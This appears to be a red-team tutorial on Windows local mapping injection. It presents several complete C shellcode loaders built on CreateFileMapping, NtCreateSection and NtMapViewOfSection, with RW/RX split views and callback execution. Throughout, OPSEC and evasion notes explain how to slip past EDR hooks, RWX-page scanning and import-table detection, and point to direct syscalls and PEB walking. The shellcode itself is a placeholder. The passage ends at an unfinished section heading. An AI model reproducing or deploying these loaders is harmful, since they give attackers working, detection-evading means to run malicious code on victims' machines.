Legend:
[MAP]= Mapping technique |[WINAPI]= Windows API used |[NTAPI]= NT-level internal API |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[EDR]= EDR relevance |[C2]= C2 framework relevance |[VAR]= Technique variant
1. What is Local Mapping Injection
What it means: Local Mapping Injection is a shellcode execution technique where memory is allocated not through VirtualAlloc / VirtualAllocEx but through Windows Section Objects — a shared memory mechanism built into the kernel. A section is created, a view of that section is mapped into the process's address space, shellcode is written into the view, and execution is triggered. The key benefit: no call to VirtualAllocEx or WriteProcessMemory appears in the API trace — these are the two most-monitored APIs in classic injection detection.
Classic injection API signature (heavily monitored):
VirtualAlloc(Ex) ← EDR HOOK
WriteProcessMemory ← EDR HOOK
CreateRemoteThread ← EDR HOOK
Mapping injection API signature (different footprint):
CreateFileMapping ← less monitored
MapViewOfFile ← less monitored
memcpy ← just a memory copy, no hook
CreateThread ← still monitored, but local only
The core mental model:
Section Object = a shared memory block managed by the kernel
Multiple processes can "view" the same section simultaneously
Writing to the view in process A appears in process B's view instantly
No need for WriteProcessMemory to cross process boundaries
Local mapping:
[Your Process]
Create section → Map RW view → Write shellcode → Map RX view → Execute from RX view
↑ ↑
no RWX anywhere no VirtualAlloc
Why it matters for red teaming / C2: | Scenario | Classic Injection | Mapping Injection | |----------|------------------|------------------| | Memory allocation API | VirtualAlloc (highly monitored) | CreateFileMapping / NtCreateSection | | Write to memory | WriteProcessMemory (highly monitored) | memcpy to local view | | Memory pages RWX? | Often yes (detected) | No — RW write, RX execute (split view) | | Cross-process write | WriteProcessMemory | Mirrored view — no explicit write call | | Disk artifact | None | None (INVALID_HANDLE_VALUE = pagefile-backed) | | API pattern uniqueness | Generic, well-known | Different enough to evade rule-based detection |
[OPSEC] The single biggest advantage of mapping injection is avoiding WriteProcessMemory for cross-process code delivery. Defenders specifically watch for VirtualAllocEx → WriteProcessMemory → CreateRemoteThread. Mapping replaces the first two with a different, less-monitored pattern.
2. Why Mapping Instead of VirtualAlloc
What it means: Understanding the detection problem that mapping solves. Modern EDR products instrument the classic injection chain at multiple layers — kernel ETW, userland API hooks, and behavioral sequence correlation.
2.1 The Classic Injection Problem
Process A (attacker's loader) calls:
1. VirtualAllocEx(hTargetProcess, ...)
└─ EDR sees: remote allocation event
└─ Who is allocating in PID X? Suspicious.
2. WriteProcessMemory(hTargetProcess, pRemoteMem, shellcode, ...)
└─ EDR sees: process A writing into process B
└─ Combined with #1: HIGH SUSPICION
3. CreateRemoteThread(hTargetProcess, ..., pRemoteMem, ...)
└─ EDR sees: new thread in process B, start addr = #1's allocation
└─ Combined with #1 + #2: ALERT
2.2 What Mapping Looks Like
Process A (attacker's loader) calls:
1. CreateFileMapping(INVALID_HANDLE_VALUE, ...)
└─ Creates pagefile-backed section object
└─ "Creating a file mapping" — common in many apps
2. MapViewOfFile(hMapping, FILE_MAP_WRITE, ...) [local view, RW]
└─ "Mapping a view into local process"
└─ Common pattern in IPC, memory-mapped files
3. memcpy(pLocalView, shellcode, sz)
└─ Just a memory copy, zero EDR visibility
4. [For remote] MapViewOfFile2(hMapping, hTargetProcess, ...) [remote view, RX]
└─ Section now appears in target process's address space
└─ No WriteProcessMemory call ever made
5. CreateThread / CreateRemoteThread(pRemoteView)
└─ Execution trigger — still monitored but pattern is different
2.3 The Section Object Mirror Property
┌────────────────────────────────────────────────────────────────┐
│ KERNEL — Section Object │
│ (backed by pagefile, no file on disk) │
│ │
│ ┌──────────────────────────────────────┐ │
│ │ Physical memory: shellcode bytes │ │
│ └──────────────────────────────────────┘ │
│ ↑ ↑ │
│ Local view (RW) Remote view (RX) │
│ [Process A address] [Process B address] │
│ │
│ Writing to local view = INSTANTLY reflected in remote view │
│ No WriteProcessMemory needed │
└────────────────────────────────────────────────────────────────┘
[EDR] Cobalt Strike uses CreateFileMapping → MapViewOfFile → NtMapViewOfSection as an alternative allocator in its Malleable C2 profiles (process-inject → allocator → NtMapViewOfSection). This is a real-world signal that the technique is operationally effective.
3. Core Windows Concepts — Section Objects & Views
What it means: Section Objects are a first-class Windows kernel primitive. Understanding them deeply unlocks the full range of mapping techniques.
3.1 Section Object Basics
Section Object:
├─ A kernel object representing a block of sharable memory
├─ Can be backed by:
│ ├─ A file on disk (memory-mapped file reading)
│ └─ The system paging file (INVALID_HANDLE_VALUE — no disk file)
├─ Multiple views can be mapped simultaneously
├─ Views in different processes share the same physical pages
└─ Permissions per-view: each view can have different protection
Win32 API layer:
CreateFileMapping() → creates section object
MapViewOfFile() → maps a view into current process
MapViewOfFile2() → maps a view into a specified process (remote)
MapViewOfFile3() → extended version of MapViewOfFile2
UnmapViewOfFile() → unmaps a view
CloseHandle() → closes section handle
NT API layer (ntdll.dll):
NtCreateSection() → creates section object (more control)
NtMapViewOfSection() → maps view into any process
NtUnmapViewOfSection() → unmaps view
NtClose() → closes handle
3.2 Key Parameters
CreateFileMapping() key parameters:
hFile: INVALID_HANDLE_VALUE → backed by pagefile (no disk file) ← use this
actual HANDLE → backed by that file
flProtect: PAGE_EXECUTE_READ (RX section)
PAGE_EXECUTE_READWRITE (RWX section)
PAGE_EXECUTE_WRITECOPY (RWX copy-on-write)
PAGE_READWRITE (RW section — can't exec directly)
dwMaximumSize: Size in bytes of the section
MapViewOfFile() key parameters:
dwDesiredAccess: FILE_MAP_READ | FILE_MAP_WRITE | FILE_MAP_EXECUTE
FILE_MAP_WRITE → writable view
FILE_MAP_EXECUTE → executable view
FILE_MAP_ALL_ACCESS → full access
dwNumberOfBytesToMap: 0 = map entire section, else partial
NtCreateSection() key parameters:
DesiredAccess: SECTION_ALL_ACCESS
MaximumSize: pointer to LARGE_INTEGER with size
PageAttributes: PAGE_EXECUTE_READWRITE (section-level protection)
SectionAttributes: SEC_COMMIT (commit pages), SEC_RESERVE (reserve)
FileHandle: NULL = pagefile-backed ← use this
NtMapViewOfSection() key parameters:
SectionHandle: handle from NtCreateSection
ProcessHandle: target process (GetCurrentProcess() for local)
BaseAddress: in/out — preferred address or NULL
ViewSize: in/out — size of view
InheritDisposition: 2 = ViewUnmap (don't inherit in child processes)
Protect: PAGE_READWRITE, PAGE_EXECUTE_READ, etc. (view-level override)
3.3 Section Protection Hierarchy
Section-level protection (set at creation) defines the MAXIMUM allowed:
PAGE_EXECUTE_READWRITE → views can be RW or RX or RWX (up to RWX)
PAGE_EXECUTE_READ → views can be RX only (write not allowed)
View-level protection (set at map time) defines THIS view's actual protection:
Must be ≤ section protection
Examples:
Section: PAGE_EXECUTE_READWRITE → View1: PAGE_READWRITE, View2: PAGE_EXECUTE_READ
Section: PAGE_EXECUTE_READ → View: PAGE_EXECUTE_READ only
The key evasion trick:
Section = PAGE_EXECUTE_READWRITE (maximum allowed)
Local view = PAGE_READWRITE (RW — write shellcode here, NOT executable)
Remote view = PAGE_EXECUTE_READ (RX — execute here, NOT writable)
→ No process EVER has a single RWX mapping ← evades RWX detection
→ Write and execute are in DIFFERENT address ranges ← confuses forensics
4. API Layers — Win32 vs NT API
What it means: Two API layers implement mapping. Win32 (kernel32/kernelbase) is documented and simpler. NT API (ntdll) is undocumented, lower-level, and less commonly hooked by EDR.
Win32 Layer NT Layer
───────────────── ──────────────────
Create section: CreateFileMapping() → NtCreateSection()
Map local view: MapViewOfFile() → NtMapViewOfSection() [local]
Map remote view: MapViewOfFile2/3() → NtMapViewOfSection() [remote]
Unmap view: UnmapViewOfFile() → NtUnmapViewOfSection()
Close handle: CloseHandle() → NtClose()
↑ ↑
Easier to use Less monitored
Well documented Requires typedef
More API hooks Bypass most hooks
Platform: all Win Needs: ntdll link or dynamic resolve
How to resolve NT APIs dynamically (avoid import table entries):
// Dynamic resolution — no import table entry for ntdll functions
typedef NTSTATUS (NTAPI *pNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL
);
typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG_PTR ZeroBits,
IN SIZE_T CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN DWORD InheritDisposition, // 2 = ViewUnmap
IN ULONG AllocationType,
IN ULONG Win32Protect
);
typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN PULONG StackReserved,
IN PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientId
);
// Resolve at runtime:
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtCreateSection NtCreateSection = (pNtCreateSection) GetProcAddress(ntdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");
[OPSEC] Dynamic resolution via GetProcAddress still leaves GetProcAddress in the import table. For maximum stealth, use a custom GetProcAddress via PEB walking or hash-based API resolution to eliminate all telltale imports.
5. Technique 1 — Win32 Local Execution
[MAP] APIs: CreateFileMapping → MapViewOfFile → memcpy → CreateThread
DLLs: kernel32.dll
Execution: Same process, new thread
What it means: The simplest mapping technique. Creates a pagefile-backed section, maps an executable view into the current process, copies shellcode, and creates a thread. Replaces VirtualAlloc with CreateFileMapping + MapViewOfFile — different API footprint, same OPSEC weaknesses (RWX pages, new thread from heap-like address).
5.1 Full Implementation (C)
#include <windows.h>
#include <stdio.h>
// Shellcode placeholder — replace with your payload
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
// ... rest of shellcode ...
};
unsigned int sc_len = sizeof(shellcode);
int main() {
// Step 1: Create pagefile-backed section with execute permissions
// INVALID_HANDLE_VALUE = backed by pagefile, no file on disk
HANDLE hMapping = CreateFileMappingW(
INVALID_HANDLE_VALUE, // pagefile-backed (no disk artifact)
NULL, // default security
PAGE_EXECUTE_READWRITE, // section allows RWX
0, // size high
sc_len, // size low
NULL // unnamed
);
if (!hMapping) {
printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Section created: %p\n", hMapping);
// Step 2: Map a view of the section into current process
// FILE_MAP_WRITE | FILE_MAP_EXECUTE = writable + executable view
LPVOID pMap = MapViewOfFile(
hMapping,
FILE_MAP_WRITE | FILE_MAP_EXECUTE, // RWX view
0, // offset high
0, // offset low
sc_len // bytes to map
);
if (!pMap) {
printf("[-] MapViewOfFile failed: %lu\n", GetLastError());
CloseHandle(hMapping);
return 1;
}
printf("[+] View mapped at: %p\n", pMap);
// Step 3: Handle no longer needed after mapping is established
CloseHandle(hMapping);
// Step 4: Copy shellcode into the mapped view
// memcpy — no API hooks, no write event
memcpy(pMap, shellcode, sc_len);
printf("[+] Shellcode copied (%u bytes)\n", sc_len);
// Step 5: Execute shellcode by creating a thread
HANDLE hThread = CreateThread(
NULL, // default security
0, // default stack size
(LPTHREAD_START_ROUTINE)pMap, // thread entry = shellcode address
NULL, // no parameter
0, // run immediately
NULL // don't need thread ID
);
if (!hThread) {
printf("[-] CreateThread failed: %lu\n", GetLastError());
UnmapViewOfFile(pMap);
return 1;
}
printf("[+] Thread created: %p\n", hThread);
// Step 6: Wait for shellcode to complete (optional — for calc PoC)
WaitForSingleObject(hThread, INFINITE);
// Step 7: Cleanup
CloseHandle(hThread);
UnmapViewOfFile(pMap);
return 0;
}
5.2 Compile
# MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc local_mapping_t1.c -o local_mapping_t1.exe -lkernel32
# MSVC (Windows)
cl.exe local_mapping_t1.c /Fe:local_mapping_t1.exe kernel32.lib
[DETECT] This variant still maps an RWX view — EDRs that watch for executable private mappings will flag it. The CreateThread with entry point in a section mapping is also a detection vector. Use Technique 2 or 4 for better evasion.
6. Technique 2 — Win32 Mapping with RW→RX Split View
[MAP] APIs: CreateFileMapping → MapViewOfFile (RW) → memcpy → MapViewOfFile (RX) → CreateThread
DLLs: kernel32.dll
Execution: Same process, new thread, NO RWX pages ever
What it means: Eliminates the RWX page entirely. The section is created with PAGE_EXECUTE_READWRITE capability, but two SEPARATE views are mapped — one with write permissions (for shellcode copy), one with execute permissions (for execution). No single view is ever both writable AND executable simultaneously.
6.1 Split-View Architecture
Section (PAGE_EXECUTE_READWRITE — maximum capability):
│
├─── View 1: PAGE_READWRITE (writable, NOT executable)
│ Address: 0x00000234A0000000 ← memcpy shellcode here
│
└─── View 2: PAGE_EXECUTE_READ (executable, NOT writable)
Address: 0x00000234B0000000 ← CreateThread points here
Physical memory (one copy):
┌──────────────────────────┐
│ shellcode bytes │ ← same physical pages, two virtual mappings
└──────────────────────────┘
EDR memory scan:
View 1 → PAGE_READWRITE → "just data, not executable" → no alert
View 2 → PAGE_EXECUTE_READ → "executable but not writable" → low suspicion
No PAGE_EXECUTE_READWRITE mapping visible at runtime ← key evasion
6.2 Full Implementation (C)
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { /* your shellcode bytes */ };
unsigned int sc_len = sizeof(shellcode);
int main() {
// Step 1: Create section — RWX capability, pagefile-backed
HANDLE hMapping = CreateFileMappingW(
INVALID_HANDLE_VALUE,
NULL,
PAGE_EXECUTE_READWRITE, // Maximum: views can be up to RWX
0,
sc_len,
NULL
);
if (!hMapping) { printf("[-] CreateFileMapping failed\n"); return 1; }
// Step 2: Map WRITABLE view (for writing shellcode)
// FILE_MAP_WRITE only — NOT executable → no RWX in this view
LPVOID pWrite = MapViewOfFile(
hMapping,
FILE_MAP_WRITE, // Write-only view
0, 0, sc_len
);
if (!pWrite) { printf("[-] MapViewOfFile (RW) failed\n"); CloseHandle(hMapping); return 1; }
printf("[+] Write view: %p (PAGE_READWRITE)\n", pWrite);
// Step 3: Map EXECUTABLE view (for execution)
// FILE_MAP_EXECUTE | FILE_MAP_READ — NOT writable
LPVOID pExec = MapViewOfFile(
hMapping,
FILE_MAP_EXECUTE | FILE_MAP_READ, // Execute+Read view
0, 0, sc_len
);
if (!pExec) { printf("[-] MapViewOfFile (RX) failed\n"); UnmapViewOfFile(pWrite); CloseHandle(hMapping); return 1; }
printf("[+] Exec view: %p (PAGE_EXECUTE_READ)\n", pExec);
// Step 4: Handle no longer needed
CloseHandle(hMapping);
// Step 5: Copy shellcode into the WRITE view
// This instantly reflects in the EXEC view (same physical pages)
memcpy(pWrite, shellcode, sc_len);
printf("[+] Shellcode written to RW view — reflected in RX view automatically\n");
// Step 6: Unmap the write view (optional but OPSEC: remove writable mapping)
UnmapViewOfFile(pWrite);
printf("[+] Write view unmapped — only RX view remains\n");
// Step 7: Execute from the EXEC view (no write permission here)
HANDLE hThread = CreateThread(
NULL, 0,
(LPTHREAD_START_ROUTINE)pExec, // Thread entry = RX-only view
NULL, 0, NULL
);
if (!hThread) { printf("[-] CreateThread failed\n"); UnmapViewOfFile(pExec); return 1; }
printf("[+] Thread started at RX view: %p\n", pExec);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
UnmapViewOfFile(pExec);
return 0;
}
[OPSEC] After UnmapViewOfFile(pWrite), the memory scanner sees only a PAGE_EXECUTE_READ mapping — no writable pages, no RWX. This is much harder to distinguish from a legitimate loaded module section.
[DETECT] CreateFileMappingW with PAGE_EXECUTE_READWRITE + two consecutive MapViewOfFile calls is becoming a detectable pattern in mature EDR behavioral rules. Consider moving to NT API (Technique 4) to reduce visibility.
7. Technique 3 — NTAPI Local Execution (NtCreateSection + NtMapViewOfSection)
[MAP] [NTAPI] APIs: NtCreateSection → NtMapViewOfSection (local, RWX) → memcpy → RtlCreateUserThread
DLLs: ntdll.dll
Execution: Same process, new thread via NT API
What it means: The full NT-API equivalent of Technique 1. Uses undocumented ntdll.dll functions directly — bypasses Win32 API hooks placed by EDR on CreateFileMapping and MapViewOfFile. The key advantage: many EDR products only hook the documented Win32 layer, not the underlying ntdll functions.
7.1 Required Structures & Typedefs
#include <windows.h>
#include <winternl.h>
// NT structures needed
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
// Initialize OBJECT_ATTRIBUTES macro
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
// Function pointer typedefs
typedef NTSTATUS (NTAPI *pNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL
);
typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG_PTR ZeroBits,
IN SIZE_T CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN DWORD InheritDisposition,
IN ULONG AllocationType,
IN ULONG Win32Protect
);
typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN PULONG StackReserved,
IN PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientId
);
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
7.2 Full Implementation (C)
// Continuing from typedefs above...
unsigned char shellcode[] = { /* your shellcode bytes */ };
int main() {
// Resolve NT functions from ntdll
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtCreateSection NtCreateSection = (pNtCreateSection) GetProcAddress(ntdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");
if (!NtCreateSection || !NtMapViewOfSection || !RtlCreateUserThread) {
printf("[-] Failed to resolve NTAPI functions\n");
return 1;
}
// Step 1: Create section object
HANDLE hSection = NULL;
LARGE_INTEGER maxSize;
maxSize.QuadPart = sizeof(shellcode);
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS, // full access to section
NULL, // no object attributes (anonymous)
&maxSize, // size of section
PAGE_EXECUTE_READWRITE, // max protection for section
SEC_COMMIT, // commit pages immediately
NULL // NULL = pagefile-backed (no disk file)
);
if (!NT_SUCCESS(status)) {
printf("[-] NtCreateSection failed: 0x%08X\n", status);
return 1;
}
printf("[+] Section created: %p\n", hSection);
// Step 2: Map view into current (local) process
PVOID localBase = NULL;
SIZE_T viewSize = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(), // local process
&localBase, // let OS choose address
0, // zero bits
0, // commit size (0 = all)
NULL, // no section offset
&viewSize, // receives actual mapped size
2, // ViewUnmap = 2
0, // no alloc type
PAGE_EXECUTE_READWRITE // RWX view (switch to RW in Technique 4)
);
if (!NT_SUCCESS(status)) {
printf("[-] NtMapViewOfSection (local) failed: 0x%08X\n", status);
NtClose(hSection);
return 1;
}
printf("[+] Local view mapped at: %p (size: %zu)\n", localBase, viewSize);
// Step 3: Write shellcode into mapped view
memcpy(localBase, shellcode, sizeof(shellcode));
printf("[+] Shellcode written\n");
// Step 4: Execute via RtlCreateUserThread (NT-level thread creation)
HANDLE hThread = NULL;
CLIENT_ID cid = {0};
status = RtlCreateUserThread(
GetCurrentProcess(), // target process (self)
NULL, // no security descriptor
FALSE, // not suspended
0, // stack zero bits
NULL, // stack reserved
NULL, // stack commit
localBase, // thread start = shellcode address
NULL, // no parameter
&hThread, // receives thread handle
&cid // receives client ID
);
if (!NT_SUCCESS(status)) {
printf("[-] RtlCreateUserThread failed: 0x%08X\n", status);
return 1;
}
printf("[+] Thread created (NT): %p | PID: %llu TID: %llu\n",
hThread, (ULONG64)cid.UniqueProcess, (ULONG64)cid.UniqueThread);
WaitForSingleObject(hThread, INFINITE);
// Cleanup
NtClose(hThread);
// NtUnmapViewOfSection if needed
NtClose(hSection);
return 0;
}
7.3 Compile with ntdll
# MinGW — link ntdll statically
x86_64-w64-mingw32-gcc ntapi_local.c -o ntapi_local.exe -lntdll
# MSVC
cl.exe ntapi_local.c /Fe:ntapi_local.exe ntdll.lib
# Or: #pragma comment(lib, "ntdll") at top of file
[OPSEC] RtlCreateUserThread is lower-profile than CreateThread but still creates a thread. EDR products that hook ntdll functions via in-memory patches (trampoline hooks) will still catch this. Use direct syscalls (§17) to bypass even ntdll hooks.
8. Technique 4 — NTAPI RW+RX Split View (No RWX Pages)
[MAP] [NTAPI] APIs: NtCreateSection → NtMapViewOfSection (RW local) → memcpy → NtMapViewOfSection (RX local) → execute
This is the gold standard local mapping technique.
What it means: Combines the NT API bypass with the RW+RX split view evasion. The section is created with PAGE_EXECUTE_READWRITE capability, but the LOCAL view used for writing is PAGE_READWRITE, and the LOCAL view used for execution is PAGE_EXECUTE_READ. At no point is there an RWX page in any process. This is the pattern used in mature implants and documented in ired.team.
8.1 Implementation (C) — Gold Standard
#include <windows.h>
#include <stdio.h>
// ... (include typedefs from §7.1) ...
unsigned char shellcode[] = { /* your shellcode bytes */ };
int main() {
// Resolve NTAPI
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtCreateSection NtCreateSection = (pNtCreateSection) GetProcAddress(ntdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");
// Step 1: Create section — MAX capability RWX (required so views can be RX)
HANDLE hSection = NULL;
LARGE_INTEGER maxSize;
maxSize.QuadPart = sizeof(shellcode);
NTSTATUS status = NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
NULL,
&maxSize,
PAGE_EXECUTE_READWRITE, // Section maximum = RWX
SEC_COMMIT,
NULL // pagefile-backed, no disk
);
if (!NT_SUCCESS(status)) { printf("[-] NtCreateSection: 0x%08X\n", status); return 1; }
// Step 2: Map WRITE view (RW only — for copying shellcode)
PVOID localWriteBase = NULL;
SIZE_T sz = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&localWriteBase,
0, 0, NULL, &sz,
2, // ViewUnmap
0,
PAGE_READWRITE // ← RW ONLY — not executable
);
if (!NT_SUCCESS(status)) { printf("[-] NtMapViewOfSection (RW): 0x%08X\n", status); return 1; }
printf("[+] Write view (RW): %p\n", localWriteBase);
// Step 3: Map EXECUTE view (RX only — for execution)
PVOID localExecBase = NULL;
sz = 0;
status = NtMapViewOfSection(
hSection,
GetCurrentProcess(),
&localExecBase,
0, 0, NULL, &sz,
2, // ViewUnmap
0,
PAGE_EXECUTE_READ // ← RX ONLY — not writable
);
if (!NT_SUCCESS(status)) { printf("[-] NtMapViewOfSection (RX): 0x%08X\n", status); return 1; }
printf("[+] Exec view (RX): %p\n", localExecBase);
// Step 4: Write shellcode into the RW view
memcpy(localWriteBase, shellcode, sizeof(shellcode));
printf("[+] Shellcode written to RW view — mirrored to RX view\n");
// Optional OPSEC: unmap the write view before executing
// This leaves only an RX view visible to memory scanners
// NtUnmapViewOfSection(GetCurrentProcess(), localWriteBase);
// Step 5: Execute from RX view — use callback instead of CreateThread for better OPSEC
// Option A: CreateThread (simpler)
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)localExecBase, NULL, 0, NULL);
// Option B: RtlCreateUserThread (NT-level, avoids CreateThread hook)
// HANDLE hThread = NULL;
// CLIENT_ID cid = {0};
// RtlCreateUserThread(GetCurrentProcess(), NULL, FALSE, 0, NULL, NULL,
// localExecBase, NULL, &hThread, &cid);
// Option C: Callback technique (see §9 — no thread creation at all)
// EnumSystemLocalesW((LOCALE_ENUMPROCW)localExecBase, LCID_INSTALLED);
if (!hThread) { printf("[-] Thread creation failed\n"); return 1; }
printf("[+] Executing from RX view: %p\n", localExecBase);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
NtClose(hSection);
return 0;
}
8.2 Memory View at Runtime
Process memory map after Technique 4:
Address Range Size Type Protection Description
─────────────────────────────────────────────────────────────────────────
0x00000234A0000000 4096 Mapped RW Write view (shellcode write)
0x00000234B0000000 4096 Mapped RX Exec view (shellcode runs here)
0x00007FF6A0000000 varies Image RX loader.exe (PE-backed)
0x00007FFD00000000 varies Image RX ntdll.dll (PE-backed)
...
EDR sees:
- Two Mapped views (section-backed, not private)
- Neither is RWX
- RW view = "just data"
- RX view = "executable mapped section" — similar to a DLL
vs. Classic injection:
- Private RWX allocation at 0x0000...
- "This is shellcode"
[OPSEC] The mapped views are of type MEM_MAPPED (not MEM_PRIVATE). Some EDR heuristics specifically flag MEM_PRIVATE + PAGE_EXECUTE as high-suspicion (private executable memory = unlinked shellcode). MEM_MAPPED appears in legitimate IPC code, memory-mapped file readers, and Windows itself — far lower baseline suspicion.
9. Technique 5 — Local Mapping + Callback Execution (No CreateThread)
[MAP] APIs: NtCreateSection → NtMapViewOfSection (RW) → memcpy → NtMapViewOfSection (RX) → Callback API
Execution: No new thread — callback API triggers shellcode in existing thread
What it means: Combines the RW+RX split mapping from §8 with the callback execution technique. Instead of calling CreateThread or RtlCreateUserThread, the RX view address is passed to a callback-based API (like EnumSystemLocalesW). This eliminates thread-creation events entirely.
// After mapping shellcode with RW+RX split (from §8):
// localExecBase = RX-only view address
// Option A: EnumSystemLocalesW (kernel32, reliable, medium suspicion)
EnumSystemLocalesW((LOCALE_ENUMPROCW)localExecBase, LCID_INSTALLED);
// Option B: CertEnumSystemStore (crypt32, low suspicion)
#include <wincrypt.h>
CertEnumSystemStore(
CERT_SYSTEM_STORE_CURRENT_USER,
NULL,
NULL,
(PFN_CERT_ENUM_SYSTEM_STORE)localExecBase
);
// Option C: EnumDisplayMonitors (user32, always has at least 1 monitor)
EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)localExecBase, 0);
// Option D: CreateTimerQueueTimer (thread pool, async)
HANDLE hTimer = NULL;
CreateTimerQueueTimer(&hTimer, NULL,
(WAITORTIMERCALLBACK)localExecBase, NULL,
100, 0, WT_EXECUTEONLYONCE);
Sleep(500);
// Option E: EnumFontFamiliesExW (gdi32, very legitimate-looking)
HDC hdc = GetDC(NULL);
LOGFONTW lf = {0};
lf.lfCharSet = DEFAULT_CHARSET;
EnumFontFamiliesExW(hdc, &lf, (FONTENUMPROCW)localExecBase, 0, 0);
ReleaseDC(NULL, hdc);
Full integrated example:
#include <windows.h>
#include <wincrypt.h>
// (Include typedefs from §7.1)
unsigned char shellcode[] = { /* shellcode */ };
int main() {
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtCreateSection NtCS = (pNtCreateSection) GetProcAddress(ntdll, "NtCreateSection");
pNtMapViewOfSection NtMV = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
// Create section
HANDLE hSec = NULL;
LARGE_INTEGER sz; sz.QuadPart = sizeof(shellcode);
NtCS(&hSec, SECTION_ALL_ACCESS, NULL, &sz, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// Map RW view
PVOID pRW = NULL; SIZE_T vsz = 0;
NtMV(hSec, GetCurrentProcess(), &pRW, 0, 0, NULL, &vsz, 2, 0, PAGE_READWRITE);
// Map RX view
PVOID pRX = NULL; vsz = 0;
NtMV(hSec, GetCurrentProcess(), &pRX, 0, 0, NULL, &vsz, 2, 0, PAGE_EXECUTE_READ);
// Write shellcode
memcpy(pRW, shellcode, sizeof(shellcode));
// Unmap write view (cleanup — no more writable mapping)
typedef NTSTATUS (NTAPI *pNtUnmap)(HANDLE, PVOID);
pNtUnmap NtUnmap = (pNtUnmap)GetProcAddress(ntdll, "NtUnmapViewOfSection");
NtUnmap(GetCurrentProcess(), pRW);
// Execute via callback — NO THREAD CREATION
CertEnumSystemStore(
CERT_SYSTEM_STORE_CURRENT_USER,
NULL, NULL,
(PFN_CERT_ENUM_SYSTEM_STORE)pRX // ← RX view as callback
);
NtClose(hSec);
return 0;
}
x86_64-w64-mingw32-gcc mapping_callback.c -o mapping_callback.exe -lntdll -lcrypt32
[OPSEC] This combination — NtCreateSection + NtMapViewOfSection + callback execution — is among the highest-OPSEC local execution patterns available. No VirtualAlloc, no WriteProcessMemory, no CreateThread, no RWX pages. The shellcode address is passed as a function pointer to a legitimate Win32 callback.
10. Technique 6 — Local Mapping + APC Execution
